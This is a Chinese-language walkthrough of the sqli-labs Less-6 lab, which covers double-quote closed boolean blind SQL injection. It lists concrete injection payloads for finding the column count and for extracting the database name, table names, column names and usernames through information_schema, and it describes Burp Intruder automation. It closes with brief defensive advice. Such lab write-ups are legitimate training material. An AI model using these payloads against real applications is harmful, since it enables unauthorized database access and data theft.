1. sqli-labs靶场Less-6关卡解析
Less-6是sqli-labs靶场中一个典型的双引号字符型盲注关卡。与Less-5的单引号注入不同,这个关卡需要我们处理双引号闭合的SQL查询语句。在实际渗透测试中,这类注入漏洞常见于未对用户输入进行适当过滤的Web应用程序。
1.1 关卡基本特征
当访问Less-6页面时,我们会看到一个简单的URL参数接口。通过传递不同的id参数值,页面会返回不同的响应:
- 当id存在时:显示"You are in..."提示
- 当id不存在时:无任何显示
- 当SQL语法错误时:显示数据库错误信息
这种基于响应差异的注入方式被称为"盲注",因为攻击者无法直接看到查询结果,而是需要通过观察应用程序的不同响应来推断信息。
2. 双引号字符型注入原理
2.1 SQL查询结构分析
通过分析源代码,我们可以确定Less-6的SQL查询结构如下:
$id = '"'.$id.'"'; $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";这里的关键点是:
- 用户输入被双引号包裹
- 没有使用预处理语句
- 错误信息会被显示
2.2 注入点识别技巧
要确认是否存在SQL注入漏洞,我们可以尝试以下测试:
正常查询:
?id=1返回"You are in..."
不存在的ID:
?id=9999无返回
单引号测试:
?id=1'返回"You are in..."(说明单引号不是闭合字符)
双引号测试:
?id=1"返回错误信息(确认双引号是闭合字符)
这个测试过程展示了如何通过系统响应差异来识别注入点和闭合字符类型。
3. 信息提取技术详解
3.1 确定列数
使用ORDER BY子句确定查询返回的列数:
?id=1" ORDER BY 3--+返回正常,说明至少有3列
?id=1" ORDER BY 4--+无返回,确认只有3列
3.2 数据库名提取
3.2.1 长度判断
使用LENGTH()函数结合二分法确定数据库名长度:
?id=9999" OR LENGTH((SELECT database()))>5--+有返回,说明长度大于5
?id=9999" OR LENGTH((SELECT database()))=8--+确认长度为8
3.2.2 字符逐个爆破
方法一:使用LEFT()函数
?id=9999" OR LEFT((SELECT database()),1)='s'--+方法二:使用SUBSTR()和ASCII()函数
?id=9999" OR ASCII(SUBSTR((SELECT database()),1,1))=115--+推荐使用方法二,因为:
- 不区分大小写
- 可以处理特殊字符
- 适合自动化工具处理
3.3 自动化爆破技巧
手动爆破效率低下,实际测试中我们可以使用Burp Suite的Intruder模块:
- 截取请求发送到Intruder
- 设置攻击类型为"Cluster bomb"
- 第一个payload位置设置字符位置(1-8)
- 第二个payload位置设置ASCII值范围(32-126)
- 根据响应长度或内容过滤结果
4. 进阶注入技术
4.1 表名提取
获取数据库名后,可以提取表名:
?id=9999" OR ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117--+4.2 列名提取
获取表名后,提取列名:
?id=9999" OR ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=105--+4.3 数据提取
最终获取用户数据:
?id=9999" OR ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1))=68--+5. 防御措施与总结
5.1 安全开发建议
- 使用预处理语句(PDO/mysqli)
- 实施输入验证和过滤
- 最小化错误信息显示
- 使用Web应用防火墙(WAF)
5.2 渗透测试心得
在实际测试双引号注入时,有几个关键点需要注意:
- 闭合字符的识别至关重要,错误的闭合方式会导致注入失败
- 布尔盲注耗时较长,建议使用自动化工具
- 注意观察细微的响应差异,有时差异可能很微小
- 记录每个步骤的结果,便于回溯和分析
通过Less-6的练习,我们可以深入理解双引号闭合的SQL注入原理和技术要点。这种类型的注入在实际Web应用中并不少见,掌握其检测和利用方法对安全测试人员至关重要。